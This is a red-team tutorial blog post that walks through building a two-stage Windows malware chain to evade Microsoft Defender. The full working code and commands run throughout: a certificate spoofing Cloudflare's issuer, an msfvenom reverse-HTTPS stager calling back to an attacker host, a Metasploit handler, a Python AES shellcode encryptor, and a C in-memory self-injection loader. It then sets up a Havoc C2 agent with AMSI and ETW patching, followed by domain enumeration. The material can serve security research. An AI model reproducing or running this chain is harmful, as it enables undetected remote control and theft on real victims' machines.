Bypass Defender AV by teaming up Metasploit, Havoc C2 and custom C shellcode injector

Learn how to set up two stage malware infection chain with Metasploit, Havoc C2 and custom shellcode injector written in C to bypass Microsoft Defender Antivirus. 

Mateusz Jarzabek, June 13 2025

Today, we’ll begin by generating the first-stage payload, which will connect back to our Metasploit server. This payload will leverage advanced Metasploit features – such as Paranoid mode with TLS pinning and automatic whitelisting of registered payload UUIDs. We’ll also generate SSL certificates and configure the Metasploit HTTPS server and the payload to encrypt network traffic. This will be done to retrieve the second-stage shellcode from the server securely.

Next, we’ll also automate shellcode encryption using python. Once the shellcode is encrypted, we’ll develop a custom C-language shellcode injector that uses a self-process injection technique to load the second-stage payload (the Havoc C2 Demon) from our Metasploit HTTPS server, thereby establishing communication with our Havoc C2 infrastructure.

Finally, we’ll demonstrate how this infection chain bypasses Windows 11 Defender AV, utilizes Metasploit’s advanced features, and conducts domain enumeration – all without detection.

Generating First stage payload

It is recommended to deliver your payload in at least two stages – to bypass possible payload size restrictions that you might encounter while exploiting vulnerabilities like Buffer Overflows and evade certain security measures in security products like antiviruses.
Generally speaking, the less code we ship, the lower the chances of being caught.

Typical two-stage infection chain includes:

  1. (First stage) Deliver and execute a Stager – small stub designed to create some form of communication and then pass execution to the next stage 
  2. (Second stage) Fully functional larger payload like C2 agent (e.g. Cobalt Strike Beacon, Havoc Demon) 

\> Generating certificate for first stage payload

To generate a Stager that can communicate securely with an HTTPS server, we need an SSL/TLS certificate.
In a real-world scenario, attackers typically use stolen or leaked certificates or purchase them from trusted providers like DigiCert or GoDaddy.
However, in our demonstration, since we won’t use a commercial certificate, we’ll generate a self-signed PEM using the Linux OpenSSL utility.

OPSEC: Defenders often do network TLS inspection with proxy devices like Zscaler Internet Access (ZIA), and they can be configured to log each TLS handshake’s certificate metadata (Subject, SAN, “Not Before”, “Not After”, issuer, serial, etc.) into their SIEM solution. Due to that, it is recommended to blend into industry standards and practices to omit common detections for short validity periods or strange DNs.

To easily identify common certificate validity periods and metadata, we can use the site crt.sh, which stores Certificate Transparency Logs.
We can query it for common domains like zensec.org 🙂 and observe a certificate where the issuer name is C=US, O="CLOUDFLARE, INC.", CN=Cloudflare TLS Issuing RSA CA 1, with a validity period of approximately 90 days.

// Crt.sh page can also be used during the enumeration phase of the target, as we can find there a lot of subdomains that can point us to servers that we can potentially attack.

We can scan through more domains and certs to find common data that we are going to use.

Of note: Another typical certificate validity period is 389 days as of the time of writing. However, be aware that these values can change over time.
Even now, there are planned changes within the industry – reduce certificate lifespans to 47 days by 2029.
Reference: 47-day SSL Certificate Validity by 2029

Once we are certain about the options, we can run the following command to generate a self-signed PEM.

# Generate a self-signed SSL certificate and private key (RSA 4096-bit, valid for 90 days)
openssl req -new -newkey rsa:4096 -days 90 -nodes -x509 -subj '/C=US/O=CLOUDFLARE, INC./CN=Cloudflare TLS Issuing RSA CA 1' -keyout private.key -out cert.crt

# Combine private key and certificate into a single PEM bundle
cat private.key cert.crt > bundle.pem

With the command above we generated a certificate (cert.crt ) and a key (private.key ).

A .crt (certificate) file contains the public SSL/TLS certificate in X.509 format and includes things like:

  • Public key
  • The DN of an issuer, and validity period

A .key file holds the private key associated with the certificate. It’s used to:

  • Decrypt incoming data sent by clients
  • Sign TLS sessions to prove ownership of the public certificate

And afterwards, with cat, we bundled it into one .pem file. Where PEM stands for Privacy-Enhanced Mail. It’s a text-based container format for certificates, keys, and other cryptographic data. A .pem file usually contains base64‑encoded data and, in our case, will contain the base64-encoded private key in the header and the certificate in the footer.

Now, once we have the PEM, we can generate shellcode that we’ll later use in the shellcode injector we’ll create in the C language.

\> Generating certificate for first stage payload

In the introduction, we mentioned a few options present in Metasploit to strengthen our operational security posture and avoid getting caught easily. This includes Metasploit paranoid mode with TLS Certificate pinning, UUID tracking, and the automatic whitelisting of registered payload UUIDs.

> Payload UUID Tracking feature

A Payload UUID is a 16-byte value that encodes:

  • an 8-byte identifier
  • a 1-byte architecture ID
  • a 1-byte platform ID
  • a 4-byte timestamp
  • and two additional bytes for obfuscation

Reference: Metasploit Payload UUID Source

HTTP payloads: The UUID value is encoded using base64url format, resulting in a 22-byte string. This value is then placed at the beginning of the URL used by the payload.
TCP payloads: The UUID is sent as 16 raw bytes over the socket once a connection is established.

Payload UUIDs are enabled by default but are not tracked unless the PayloadUUIDTracking option is set to true

The tracking feature was created for:

  • Dropping unrecognized connections: Useful when running public-facing payload handlers. It prevents blue team probes from obtaining a session.
    Practical use case: When using Metasploit’s standard handler, it will attempt negotiation with any connecting client. UUID tracking ensures that unauthorized probes (e.g., blue team scans) are immediately dropped.
  • Enabling universal handlers: Since UUIDs contain embedded platform and architecture data, the listener can respond appropriately to each target.
    Practical use case: A single handler can support multiple payload types. For instance, a UUID indicating arch=x64 and platform=windows will trigger a Windows x64 Meterpreter stage.
  • Payload identification: Especially useful during phishing or red team exercises.
    Practical use case: Generate multiple payloads with different labels (e.g., payload_email1 , payload_usb_drop , payload_internal_lure ). When a session is created, the UUID helps identify which delivery method succeeded.

Setting PayloadUUIDTracking causes a new entry to be created in msfdb whenever any UUID-enabled payload is generated.
Reference: Metasploit Issue #14158

> Payload Whitelisting feature

The payload whitelisting feature can be set for Metasploit listener. The msfdb file, besides keeping track of generated payloads, can also be used as a whitelist.

To enable whitelisting for payloads, set the IgnoreUnknownPayloads option to true. Any incoming request that does not match both a registered Payload UUID and one of the pre-generated URLs will be ignored.

> TLS Certificate Pinning feature

The goal of TLS Certificate Pinning is to prevent shells from being hijacked by unauthorized users.
If an incoming session connects through a man-in-the-middle proxy that presents a different certificate, the first connection will connect back, but then immediately terminate.

To achieve this, the payload verifies the SHA1 hash of the SSL certificate read from the server.
If this hash doesn’t match the one the payload is configured with, the payload will shut down.

This feature requires using a transport that relies on the Windows WinHTTP API.
Generally speaking, Windows provides two APIs for HTTP/S communication: WinInet and WinHTTP.

Metasploit payloads support various transports such as reverse_http and reverse_https.
Many of these use the WinInet API, which complicates SSL integration.
To simplify SSL support, Metasploit uses WinHTTP for certain transports.

So to use the feature, we have to pick a transport that supports WinHTTP API like this one:

Transport Description
windows/x64/custom/reverse_winhttps Custom shellcode stage. Tunnel communication over HTTPS using Windows x64 WinHTTP API.

Certificate pinning is enabled by setting the StagerVerifySSLCert option to true, and by specifying the certificate file via the HandlerSSLCert option.

The SHA1 hash of the certificate is verified during the staging process and also in the handler if these options are specified.

> Combining it all together

First, we specify the payload and transport type using -p windows/x64/custom/reverse_winhttps. In our case, this means Windows architecture x64 with the reverse_winhttps transport, which is implemented using the WinHTTP API.

Then, we set up the listening host and port to 10.0.0.5 and 445. We chose port 445 because it is commonly allowed in firewall configurations.

Next, we set the EXITFUNC parameter to thread, meaning that when the payload finishes execution, it will only terminate the thread it was running in, rather than shutting down the entire process.

We then enable PayloadUUIDTracking by setting it to true, and provide a local-only name using PayloadUUIDName to help us recognize the operation we are running ParanoidStagedOperationOmega.

After that, we configure the HTTPS parameters to use a common URI and a User Agent string typical for our target, which commonly uses the Edge browser:
LURI=index.html
HttpUserAgent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.3296.68'
Reference: Latest Edge User Agent

Then, we configure TLS Certificate Pinning by setting StagerVerifySSLCert=true and specify the certificate generated earlier using HandlerSSLCert=bundle.pem.

The last option outputs the raw shellcode into a file named first_stage445.bin, which we will later use in our shellcode injector.

Full command:

msfvenom -p windows/x64/custom/reverse_winhttps \
LHOST=10.0.0.5 \
LPORT=445 \
EXITFUNC=thread \
PayloadUUIDTracking=true \
PayloadUUIDName=ParanoidStagedOperationOmega \
LURI=index.html \
HttpUserAgent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.3296.68' \
HandlerSSLCert=bundle.pem \
StagerVerifySSLCert=true \
-f raw \
> first_stage445.bin

Setting up Metasploit

Now, once we have fully configured the first stage payload, we need to set up the Metasploit HTTPS server that will handle the traffic from the payload and further provide the fully functional second stage payload.

Before running Metasploit, it is recommended to initialize the database that will handle our sessions in order not to lose our progress and keep track of the data we put in.

In order to spin up listener which support all of the features that were explained above we will start metasploit, use multi/handler, set the following options and run the server.

# Initialize the Metasploit database
sudo msfdb init

# Start Metasploit Console
msfconsole

# Configure the handler for our reverse HTTPS shellcode
use multi/handler
set payload windows/x64/custom/reverse_winhttps
set exitfunc thread
set lport 445
set lhost 10.0.0.5
set luri index.html
set HttpServerName ACME
set shellcode_file second_stage_443.bin
set exitonsession false
set HttpHostHeader www.acme.corp
set IgnoreUnknownPayloads true
set PayloadUUIDTracking true
set HandlerSSLCert bundle.pem
set StagerVerifySSLCert true
run

Here we set up the shellcode_file value to provide the second_stage_443.bin file, which is the Havoc Demon shellcode that we will generate later in the Havoc section.

Then we told the handler not to exit on session, meaning the handler continues running and allows multiple sessions to connect instead of exiting as soon as one session is received.

Next, we configured TLS certificate pinning with the same certificate that we bundled with our first stage shellcode, and enabled the option to ignore unknown payloads.

With that, we have the payload and server set up. Now, we need to create our injector that the victim will execute to load the first stage payload and start the infection chain.

Automating the process of encrypting the shellcode

Our injector will contain the first stage shellcode generated using Msfvenom. Additionally, we will encrypt it using the AES symmetric-key algorithm.
In our loader, we will implement an AES decryption mechanism to first decrypt the shellcode and then use a self-process injection technique with the decrypted shellcode in order to execute it in memory.

The executed shellcode will establish a connection to the Metasploit HTTPS server configured with Paranoid mode, it will get the second stage shellcode and then it will load the Havoc Demon (second stage shellcode) to establish a fully functional C2 communication channel with the compromised machine.

\> Encrypting first stage shellcode

To automate the process of AES encryption of the first stage payload, we will use the Python PyCryptodome library (https://pycryptodome.readthedocs.io/en/latest/src/introduction.html).

We assume that you have Python 3 installed (we’re using Python 3.13.3). To start development, we recommend activating a virtual environment and installing the required packages there.

> Python AESencryptor.py

To start, we import necessary modules to perform AES encryption. 

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

Next, for convenience, we created a helper function called format_C_array to convert the encrypted shellcode into a format that can be easily copied into our C injector code.

This function takes the shellcode (as raw bytes) and processes it in chunks of 16 bytes per line to keep things clean and readable. Each byte is turned into a format like 0xC8, and added to the output line-by-line until the entire payload is covered.

In the end, it returns a string that looks exactly like valid C code, which we can copy and paste directly into our injector source file.

def format_C_array(data: bytes, name: str) -> str:
	text = [f"unsigned char {name}[] = {"]

	hex_bytes = [f"0x{b:02X}" for b in data]

	for i in range(0, len(hex_bytes), 16):
		text.append("    " + ", ".join(hex_bytes[i:i+16]) + ("," if i+16 < len(hex_bytes) else ""))

	text.append("};")
	return "\n".join(text)

Now, in the below code snippet, we read the bytes of the first_stage445.bin shellcode.
Then, we generate a random 32-byte AES key and a random 16-byte IV (Initialization Vector). Next, we create an AES cipher object using CBC (Cipher Block Chaining) mode with the generated key and IV.
The shellcode is padded using default PKCS#7 padding algorithm to ensure its length is a multiple of 16 bytes, which is required for AES in CBC mode.
Once the shellcode is padded, it is encrypted using the AES cipher with the specified key and IV, and the encrypted result is returned by the function.
Ref. https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#cbc-mode

def encrypt_shellcode():
	with open("first_stage445.bin", "rb") as f:
		shellcode = f.read()

		key = get_random_bytes(32)
		print(format_C_array(key, "Key"))

		iv = get_random_bytes(16)
		print(format_C_array(iv, "IV"))

		cipher = AES.new(key, AES.MODE_CBC, iv)
		encrypted_shellcode = cipher.encrypt(pad(shellcode, AES.block_size))

	return encrypted_shellcode

We can then run format_C_array on the returned value of encrypt_shellcode() to format the encrypted shellcode as a C-style array:

print(format_C_array(encrypt_shellcode(), "Payload"))

The whole script now you can run with python3 AESencryptor.py in the directory where the first_stage445.bin file is located and you should get similarly looking array printed.

Coding the first stage injector in C

Once we have the encrypted payload, we can start coding the injector!
Before starting any project, it is always recommended to decide on the goals we want to achieve and the tools, like the development environment, that we will use.
In our case, we will use Microsoft Visual Studio 2022 as the development environment with the "Desktop development with C++" component installed.

The injector will mostly consist of two parts:

  • A decryptor component, which decrypts the first-stage shellcode that we provide.
  • An injector component. In our case, the injector will use a self-process injection technique.

The last consideration is where to place the payload. We can embed it into different PE sections, such as .rsrc (Resources), .data, .rdata, or .text.
Each section requires a different implementation approach and provides distinct advantages in terms of making security analysis more difficult and evading detection tools.

For example, if we want to place variables into the .rdata section in our PE file, we would declare them as constant global variables using the const unsigned char type.

In our case, we will place the payload in main.c as global variables without the const qualifier, so it will be stored in the PE .data section.

\> Decryption mechanism

For the decryption part, we need to use the same algorithm, key, and IV as we used and got from the Python shellcode encryptor.
We start coding by creating a new project in Visual Studio 2022, selecting the "Empty Project" template.

Next, we create two source files, main.c and decrypt.c, under the "Source Files" folder in the Solution Explorer.
The main.c will contain the injector component, the encrypted payload, and will call the decryption functions implemented in decrypt.c.

To implement the AES decryption mechanism, we first define a structure to hold all required data for decryption.
We do this by creating a new header file, Structs.h, under the "Header Files" folder, and add the following code there.

// Structs.h
#pragma once					// Ensures the header is included only once during compilation

typedef struct _AES {

	PVOID	pPayload;			// This will be used for storing base address of the encrypted payload
	DWORD	dwPayloadSize;		// This will include the total size of the encrypted payload

	PBYTE	pKey;				// This will be used for storing our 32-but AES key
	PBYTE	pIV;				// This will be used for storing our 16-but AES IV

	PVOID	pPlainTextData;		// This will be used for storing base address of the data received after decryption
	DWORD	dwPlainTextSize;	// This will include the total size of the data

}AES, * PAES;					// Defines AES struct and a pointer type (PAES) for the structure for the convenience

As a next step, we jump into decrypt.c and we start by including the necessary header files and libraries for the compiler and linker. Also, we define constant variables as preprocessor directives to be later used within the program.

#include <Windows.h>					// Includes core Windows API functions and type definitions
#include <bcrypt.h>						// Includes Windows Cryptography API: Next Generation (CNG) functions
#pragma comment(lib, "Bcrypt.lib")		// Links the Bcrypt library required for cryptographic functions
#include "Structs.h"					// Includes our structures (AES structure)

#define KEYSIZE		32					//Define AES key length: 32 bytes = 256 bits (AES-256)
#define IVSIZE		16					//Define AES IV length: 16 bytes = 128 bits

After that, we create AES decryption function structure, which will take 4 arguments as a input and provide 2 output needed for the injection part. 

BOOL AESdecrypt(
    IN PVOID pCipherTextData, 
    IN DWORD sCipherTextSize, 
    IN PBYTE pKey, 
    IN PBYTE pIV, 
    OUT PVOID* pPlainTextData, 
    OUT DWORD* sPlainTextSize
) {}

Afterwards, inside the {} brackets we use the defined AES structure and assign the input parameter values to the structure’s fields for later use.

AES Aes = {
	.pKey = pKey,
	.pIV = pIV,
	.pPayload = pPayload,
	.dwPayloadSize = dwPayloadSize
};

Then, we define local variables using types from Windows.h. These variables are initialized to NULL as placeholders for the later decryption operations using bCrypt library.

BCRYPT_ALG_HANDLE hAlgorithmHandle = NULL;  // Handle to the AES algorithm provider
BCRYPT_KEY_HANDLE hKeyHandle = NULL;  // Handle to the generated AES key

ULONG cbResult = NULL;  // Used to store the size of data returned by crypto functions
DWORD dwBlockSize = NULL;  // Stores the AES block size in bytes

DWORD dwKeyObject = NULL;  // Size of the key object buffer required by CNG
PBYTE pbKeyObject = NULL;  // Pointer to the buffer that holds the key object

PBYTE pbPlainText = NULL;  // Pointer to the plaintext data buffer
DWORD dwPlainText = NULL;  // Size of the plaintext data in bytes

Next, we implement the core logic for decryption mechanism.

// Intializing "hAlgorithmHandle" as AES algorithm Handle
BCryptOpenAlgorithmProvider(&hAlgorithmHandle, BCRYPT_AES_ALGORITHM, NULL, 0);

// Getting the size of the key object variable *pbKeyObject* this is used for BCryptGenerateSymmetricKey function later
BCryptGetProperty(hAlgorithmHandle, BCRYPT_OBJECT_LENGTH, (PBYTE)&dwKeyObject, sizeof(DWORD), &cbResult, 0);

// Getting the size of the block used in the encryption, since this is aes it should be 16 (this is what AES does)
BCryptGetProperty(hAlgorithmHandle, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);

// Allocating memory for the key object
pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, dwKeyObject);

// Setting Block Cipher Mode to CBC (32 byte key and 16 byte Iv)
BCryptSetProperty(hAlgorithmHandle, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

// Generating the key object from the aes key "pAes->pKey", the output will be saved in "pbKeyObject" of size "cbKeyObject"
BCryptGenerateSymmetricKey(hAlgorithmHandle, &hKeyHandle, pbKeyObject, dwKeyObject, (PBYTE)Aes.pKey, KEYSIZE, 0);

// Running BCryptDecrypt first time with NULL output parameters, thats to deduce the size of the output buffer, (the size will be saved in cbPlainText)
BCryptDecrypt(hKeyHandle, (PUCHAR)Aes.pPayload, (ULONG)Aes.dwPayloadSize, NULL, Aes.pIV, IVSIZE, NULL, 0, &dwPlainText, BCRYPT_BLOCK_PADDING);

// Allocating enough memory (of size cbPlainText)
pbPlainText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, dwPlainText);

// Running BCryptDecrypt second time with "pbPlainText" as output buffer
BCryptDecrypt(hKeyHandle, (PUCHAR)Aes.pPayload, (ULONG)Aes.dwPayloadSize, NULL, Aes.pIV, IVSIZE, pbPlainText, dwPlainText, &cbResult, BCRYPT_BLOCK_PADDING);

At this stage, we assign the decrypted plaintext buffer to the output pointer and set the output size to the size of the decrypted data. Since the AESdecrypt() function returns BOOL, we return TRUE to indicate that the decryption process has succeeded.

*pPlainTextData = pbPlainText;
*dwPlainTextSize = dwPlainText;
return TRUE;

This is the end of AES decryption mechanism implementation, however, we have to do one more thing to allow us to use the function in main.c as we wanted.

We have to create decrypt.h under Header Files and define the function that we implemented in decrypt.c in order to instruct main.c how to handle the function.

// decrypt.h
#pragma once

// Declare the decryption function to be later on used in main
BOOL AESdecrypt(
    IN PBYTE pKey,
    IN PBYTE pIV,
    IN PVOID pPayload,
    IN DWORD dwPayloadSize,
    OUT PVOID* pPlainTextData,
    OUT DWORD* dwPlainTextSize
);

Now we can start creating the injector part in main.c, which will be using the self-process injection technique, implemented using the following Windows API calls:

  • VirtualAlloc()
  • VirtualProtect()
  • CreateThread()

First, we need to include the necessary header files.

#include <Windows.h>
#include "decrypt.h"

Then, we declare our payload, key, and IV as global variables to ensure the payload is placed in the PE .data section, as intended from the start.

unsigned char Key[] = {
    0x26, 0xD5, ...
};

unsigned char IV[] = {
    0x5A, 0x8B, ...
};

unsigned char Payload[] = {
    0x41, 0xE2, ...
};

In the main function, we first define two variables to store the address of the decrypted data and its size. Then, we call the AESdecrypt() function to obtain the decrypted payload.

int main() {
    PVOID pPlainTextData = NULL;    
    DWORD dwPlainTextSize = 0;        

    AESdecrypt(Key, IV, Payload, sizeof(Payload), &pPlainTextData, &dwPlainTextSize);
}

Following that, we implement the logic of the injector.

// Process injection: execute shellcode in a new thread

HANDLE hThread = NULL;

// Allocate memory with read/write permissions for the decrypted shellcode
PVOID pShellcodeAddress = VirtualAlloc(NULL, dwPlainTextSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// Copy decrypted shellcode into the allocated memory region
memcpy(pShellcodeAddress, pPlainTextData, dwPlainTextSize);

// Clear the original plaintext buffer to remove shellcode traces
memset(pPlainTextData, '\0', dwPlainTextSize);

DWORD dwOldProtection = NULL;

// Change memory protection to executable so shellcode can run
VirtualProtect(pShellcodeAddress, dwPlainTextSize, PAGE_EXECUTE_READWRITE, &dwOldProtection);

// Create a new thread to execute the shellcode
hThread = CreateThread(NULL, 0, pShellcodeAddress, NULL, 0, NULL);

// Wait indefinitely for the shellcode thread to finish execution
WaitForSingleObject(hThread, INFINITE);

return 0;

At the end we are adding return 0; as the main function output was defined as int and this indicates success.

Now once we have the whole injector logic and payload ready we will build the solution in Release and x64 arch mode hitting Ctrl + Shift + B (in default shortcut configuration).

Setting up Havoc C2

Now that we have a working injector with shellcode, we can move on to Havoc.
To set up Havoc, I recommend following the official documentation.
Reference: https://havocframework.com/docs/installation

Previously, we set up an HTTPS server using Metasploit to deliver the second-stage shellcode. Now, to receive the Havoc Demon callback, we first need to set up a listener.

\> Havoc listener

We configure the listener to listen on port 443, since this port is typically allowed through firewalls. Then, we set the Host to bind to the network interface that can communicate with the compromised machine. For the User Agent, we use a common but slightly altered value to help evade detection during hardened investigations.
This is important because User Agent strings are often monitored to identify and track connections between the victim and attacker.

\> Generate second stage shellcode

Once the listener is set up, we create our Demon, which will serve as the second-stage payload named second_stage_443.bin.
This matches the file we previously specified in Metasploit using set shellcode_file second_stage_443.bin.
Metasploit will look for this file to deliver it when it receives a callback from the first-stage payload.

To obtain the Demon, navigate to the Attack → Payload tab. In our case, we configure it with the following settings and then click Generate.

Of note: You might encounter an issue related with compilation of a payload, it is recommended to follow the creator (5pider) guidance from this github issue.
Ref. https://github.com/HavocFramework/Havoc/issues/105

With this configuration, we ensure that our Demon targets the x64 Windows architecture and is generated as shellcode.
Additionally, we enable the use of indirect syscalls and apply patches for AMSI and ETW using the Hardware breakpoints technique.
For detailed descriptions of each configuration field, visit the official documentation at https://havocframework.com/docs/agent.

Transferring the payload and running it 

To keep things simple, we decided to just copy the built injector containing the first stage payload directly to the victim’s Desktop.

Running it by double-clicking should trigger a callback to our Metasploit HTTPS server to fetch the second stage payload. Within moments, we should also see the Havoc Demon callback to our C2 server, completing the infection chain.

Note: Havoc here didn’t properly assessed the OS version as the system is running Windows 11 OS.
As shown in the screenshot, there is an antivirus (AV) actively running on the system, yet it did not detect any of the activities we performed. This highlights the effectiveness of our layered approach using encryption, TLS pinning, and evasive techniques to bypass common security defenses.

sudo -u postgres psql msf       // Access msf database

-- PostgreSQL commands
\x                              // Enable expanded display to have nicely formatted results
SELECT * FROM payloads;         // Get tracker payloads

Now we can enumerate further compromised users/machines and the Active Directory domain if the device turns out to be a domain-joined one.

Summary

We began by generating a custom, encrypted first-stage reverse HTTPS payload using Msfvenom and AES encryption. Next, we set up a Metasploit HTTPS handler configured for secure communication and multiple sessions.
We developed a C-based injector that decrypts the payload in-memory and executes it using self-process injection. Then, we configured Havoc as our second-stage payload to establish a robust C2 channel.
Finally, we tested the entire chain on a target machine, successfully bypassing antivirus detection and confirming persistent communication. With this setup, we can now proceed to enumerate compromised hosts and Active Directory environments.